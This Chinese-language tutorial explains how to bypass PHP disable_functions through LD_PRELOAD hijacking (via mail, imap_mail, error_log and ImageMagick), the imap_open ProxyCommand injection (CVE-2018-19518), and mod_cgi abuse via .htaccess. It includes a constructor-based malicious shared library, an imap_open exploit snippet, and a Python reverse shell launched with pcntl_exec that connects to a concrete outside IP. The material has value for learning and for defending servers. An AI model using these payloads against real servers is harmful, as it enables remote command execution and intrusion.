通常bypass的思路如下
1. 攻擊后端組件,尋找存在命令注入的、web 應用常用的后端組件,如,ImageMagick 的魔圖漏洞、bash 的破殼漏洞 2. 尋找未禁用的漏網函數,常見的執行命令的函數有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec() 3. mod_cgi 模式,嘗試修改 .htaccess,調整請求訪問路由,繞過 php.ini 中的任何限制 4. 利用環境變量 LD_PRELOAD 劫持系統函數,讓外部程序加載惡意 *.so,達到執行系統命令的效果
readelf -Ws /usr/bin/sendmail
通過readelf可以查看id程序可能調用的系統API函數,這個命令結果僅代表可能被調用的API,不代表一定調用
通過strace -f +程序執行 才能看到程序實際的內部調用情況
1.利用LD_PRELOAD
LD_PRELOAD是Linux系統的一個環境變量,用於動態庫的加載,動態庫加載的優先級最高,它可以影響程序的運行時的鏈接(Runtime linker),
它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,
我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),
而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。
execve
execve(執行文件)在父進程中fork一個子進程,在子進程中調用exec函數啟動新的程序。
exec函數一共有六個,其中execve為內核級系統調用,其他(execl,execle,execlp,execv,execvp)都是調用execve的庫函數
execve()用來執行參數filename字符串所代表的文件路徑,第二個參數是利用指針數組來傳遞給執行文件,並且需要以空指針(NULL)結束,最后一個參數則為傳遞給執行文件的新環境變量數組。
關鍵:
雖然 LD_PRELOAD 為我提供了劫持系統函數的能力,但前提是我得控制 php 啟動外部程序(調用execve fock子進程)才行(只要有進程啟動行為即可,無所謂是誰,因為新進程啟動將重新LD_PRELOAD,而LD_PRELOAD用於加載動態鏈接庫)
常見的 system() 啟動程序方式顯然不行,否則就不存在突破 disable_functions 一事了。PHP 腳本中除了調用 system()、exec()、shell_exec() 等等一堆 php 函數外,還有哪種可能啟動外部程序呢?php 解釋器自身!比如,php 函數 goForward() 實現“前進”的功能,php 函數 goForward() 又由組成 php 解釋器的 C 語言模塊之一的 move.c 實現,C 模塊 move.c 內部又通過調用外部程序 go.bin 實現,那么,我的 php 腳本中調用了函數 goForward(),勢必啟動外部程序 go.bin。現在,我需要找到類似 goForward() 的真實存在的 PHP 函數。
如果想創建一個動態鏈接庫,可以使用 GCC 的-shared選項。輸入文件可以是源文件、匯編文件或者目標文件。 另外還得結合-fPIC選項。-fPIC 選項作用於編譯階段,告訴編譯器產生與位置無關代碼(Position-Independent Code);這樣一來,產生的代碼中就沒有絕對地址了,全部使用相對地址,所以代碼可以被加載器加載到內存的任意位置,都可以正確的執行。這正是共享庫所要求的,共享庫被加載時,在內存的位置不是固定的。
putenv+mail
以發送郵件功能的mail函數為例,這里成功通過execve啟動了新的進程,即調用了/usr/sbin/sendmail
用相同的測試方式,還找到一個 imap_mail(),之前是劫持getuid函數是因為sendmail程序調用該函數,在真實環境中,存在兩方面問題:一是,某些環境中,web 禁止啟用 senmail、甚至系統上根本未安裝 sendmail,也就談不上劫持 getuid(),回到 LD_PRELOAD 本身,系統通過它預先加載共享對象,如果能找到一個方式,在加載時就執行代碼,而不用考慮劫持某一系統函數,那我就完全可以不依賴 sendmail 了。
原作者找到了__attribute__ ((__constructor__))
It's run when a shared library is loaded, typically during program startup.
也就是說所以當我們最開始將evil shared library load上后,就會觸發__attribute__ ((__constructor__))
,從而達成我們rce的目的。
比如編寫如下c程序:
#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void angel (void){ unsetenv("LD_PRELOAD"); system("ls"); }
putenv+imap_mail
imap_mail也是php用來發送電子郵件的的一個函數,用法和mail函數差不多,同樣會調用sendmail命令:
putenv+error_log
error_log(error,type,destination,headers) 當type為1時,服務器就會把error發送到參數 destination 設置的郵件地址
使用strace看一下,說明error_log函數也會啟動新的進程
那么這個函數也會跟mail函數一樣去加載我們的共享庫,從而配合LD_PRELOAD來實現rce
利用ImageMagick
當imagick去處理以下后綴的文件時,將會調用ffmpeg去處理文件,即將會fork新的子進程,這正是我們想要的效果
wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
可以看到,此時調用了/usr/bin/ffmpeg去處理該程序,所以肯定會加載LD_PRELOAD,從而來加載我們的惡意共享庫so文件
利用imap_open (CVE-2018-19518)
php imap擴展用於在PHP中執行郵件收發操作。其imap_open函數會調用rsh來連接遠程shell,而debian/ubuntu中默認使用ssh來代替rsh的功能(也就是說,在debian系列系統中,執行rsh命令實際執行的是ssh命令)。因為ssh命令中可以通過設置-oProxyCommand=
來調用第三方命令,攻擊者通過注入注入這個參數,最終將導致命令執行漏洞。
比如執行
ssh -oProxyCommand="touch test.txt" 192.168.1.123
將會創建test.txt,環境在:
https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
直接進入docker容器測試exp:
<?php $exp = "echo test!test! > /tmp/test"; $base64_exp = base64_encode($exp); $server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}"; imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error()); ?>
當然這里-oProxyCommand= 后面的命令我們可以自定以,要是對一些關鍵詞過濾的話我們還可以命令寫入一些文件中,然后bash + 文件名來執行其中的bash命令,但是bash關鍵詞不能被過濾
利用pcntl_exec突破disable_functions
直接通過pcntl_exec反彈shell:
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("104.224.146.7",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
.htaccess:不止重定向
在apache的WEB環境中,我們經常會使用.htaccess這個文件來確定某個目錄下的URL重寫規則,特別是一些開源的CMS或者框架當中經常會用到,比如著名的開源論壇discuz!
就可以通過.htaccess文件實現URL的靜態化,大部分PHP框架,例如ThinkPHP和Laravel,在apache環境下會用.htaccess文件實現路由規則。
但是如果.htaccess文件被攻擊者修改的話,攻擊者就可以利用apache的mod_cgi模塊,直接繞過PHP的任何限制,來執行系統命令。
條件
第一,必須是apache環境
第二,mod_cgi已經啟用 (在/etc/apache2/mods-enables里面可以看到apache已經加載的模塊,或者使用apache_get_modules()返回開啟的模塊)
第三,必須允許.htaccess文件,也就是說在httpd.conf中,要注意AllowOverride選項為All,而不是none (apache2.conf)
第四,必須有權限寫.htaccess文件
在apache的配置中,有一個非常重要的指令,Options,Options指令是Apache配置文件中一個比較常見也比較重要的指令,Options指令可以在Apache服務器核心配置(server config)、虛擬主機配置(virtual host)、特定目錄配置(directory)以及.htaccess文件中使用,Options指令的主要作用是控制特定目錄將啟用哪些服務器特性我們用到的就是ExecCGI選項,表示允許使用mod_cgi模塊執行CGI腳本
除了Options,我們還要配合另外一個AddHandler指令來使用,如果你對AddHandler不太熟悉沒關系,這么解釋一下就容易理解多了:AddType我們肯定很熟悉,比如配置apache對PHP的支持的時候,經常會添加一行類似AddType application/x-httpd-php .php這樣的配置,這其實是指定了文件擴展名和內容類型之間的映射關系,而AddHandler則是指定擴展名和處理程序之間的關系,也就是說,可以指定某個特定的擴展名的文件,如何來進行處理。
php特定版本bypass
1.php7.0-php7-gc-bypass執行效果如下圖
對於適用版本的php直接運行即可。
2.對於php-cgi或者php-fpm模式運行的Apache服務器
可以使用
https://github.com/beched/php_disable_functions_bypass
open_basedir要關閉
3.php7.1版本,以及以下版本可以:
參考:
https://xz.aliyun.com/t/4623#toc-10
https://xz.aliyun.com/t/5320#toc-2
https://github.com/Bo0oM/PHP_imap_open_exploit
https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md
https://baike.baidu.com/item/execve
http://47.98.146.200/index.php/archives/44/
https://skysec.top/2019/02/25/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bimap_open()%20RCE/#%E5%89%8D%E8%A8%80
https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/#%E4%BC%A0%E7%BB%9F%E6%96%B9%E5%BC%8F-hijacking-function